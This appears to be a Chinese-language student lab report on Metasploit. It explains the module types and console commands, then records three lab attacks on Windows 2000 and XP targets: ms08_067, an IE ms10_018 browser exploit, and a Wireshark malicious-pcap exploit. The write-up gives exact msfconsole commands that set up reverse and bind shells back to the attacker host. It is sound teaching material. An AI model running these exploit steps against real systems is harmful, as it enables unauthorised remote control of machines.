基础知识
MSF的六种模块
-
Exploit模块
是利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问权的代码组件。
形象点来说就是攻击模块 -
Payload模块
是在渗透成功后促使目标系统运行的一端植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接。实际上,该模块就是计算机集成的针对不同操作系统实现shellcode攻击的ruby代码。
三种 payload:/usr/share/metasploit-framework/modules/payloads/
Single:all-in-one
Stager:目标计算机内存有限时,先传输一个较小的 payload 用于建立连接
Stages:利用 stager 建立的连接下载的后续payload -
Encoder模块
针对payload进行编码,可以通过多种编码手段、多次编码方式有效的改变payload代码特征
不改变payload作用,但能对payload进行加工 -
Aux模块
能够帮助渗透测试中在进行渗透攻击之前得到的目标系统丰富的情报信息,从而发起更具目标性的精准攻击。
主要包括针对各种网络服务的扫描和查点、构建虚假服务收集登录密码、口令猜测破解、敏感信息嗅探、探查敏感信息泄露、Fuzz测试发掘漏洞、实施网络协议欺骗等模块。 -
Post模块
支持在渗透攻击取得目标系统远程控制权之后,在受控系统中进行给各样的后渗透攻击动作。
这里主要指的是攻击之后可能用到的模块 -
Nops模块
是一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,最典型的空指令就是空操作,在X86 CPU体系架构平台上的操作码是0x90
因为有些代码返回地址很难确认,所以在实际中有时候会填充一大段空指令,便于快速确定返回地址的位置
核心命令
banner 显示一个很棒的metasploit横幅
cd 更改当前工作目录
color 切换颜色
connect 与主机通信
exit 退出控制台
get 获取特定于上下文的变量的值
getg 获取全局变量的值
grep 管道另一个命令的输出
help 帮助菜单
history 显示命令历史记录
load 加载框架插件
quit 退出控制台
repeat 重复命令列表
route 通过会话路由流量
save 保存活动数据存储
sessions 转储会话列表并显示有关会话的信息
set 将特定于上下文的变量设置为
setg 将全局变量设置为值
sleep 在指定的秒数内不执行任何操作
spool 将控制台输出写入文件以及屏幕
threads 查看和操作后台线程
unload 卸载框架插件
unset 取消设置一个或多个特定于上下文的变量
unsetg 取消设置一个或多个全局变量
version 显示框架和控制台库版本号
实验过程
本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。
一个主动攻击实践
ms08_067
攻击机: kali 192.168.220.128 靶机 win2000professional 192.168.220.131
在攻击机里面打开msf模式,输入use exploit/windows/smb/ms08_067_netapi
show payloads
set payload generic/shell_reverse_tcp
//实现tcp反向连接set LHOST 192.168.220.128
//设置攻击机的ip地址set LPORT 4307
//设置端口set RHOST 192.168.220.131
//设置靶机ipset target 0
//自动选择目标系统类型,匹配度较高exploit
//攻击
攻击成功后,输入ver就可以查看win2000的版本
一个针对浏览器的攻击
ms10_018
攻击机 kali 192.168.220.128 靶机 winxp 192.168.220.130
在kali终端输入cd /usr/share/metasploit-framework/modules/exploits
,即进入渗透攻击模块所在的目录,然后进入Windows目录,需要对浏览器进行攻击,所以再进入browser目录,此时看到的.rb后缀的文件都是可以进行的针对浏览器的攻击操作。
这里我们选择ms10_018_ie_behaviors
,输入vim ms10_018_ie_behaviors.rb
查看详情信息。可以看到对靶机的要求是win NT,2000,XP,2003,Vista上的IE6或IE7。
现在我们就可以对靶机的浏览器进行攻击了。
在msf模式下输入use windows/browser/ms10_018_ie_behaviors
set payload windows/meterpreter/bind_tcp
set RHOST 192.168.220.130
exploit
从图中可以看出它生成了一个网址:http://192.168.220.128:8080/EL3bQ5wPrG
在winxp中输入这个网址,可以看到已经成功迁移services.exe
针对客户端的攻击
wireshark
攻击机:kali 192.168.220.168 靶机:WinXP 192.168.220.130 wireshark版本:
在msf模式下,依次输入一下命令use windows/fileformat/wireshark_packet_dect
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.220.168
set LPORT 4307
set FILENAME 20184307.pcap
//设置pcap文件名字exploit
然后经生成的文件拷到靶机上,在kali上输入back
退出当前模块,进入监听模块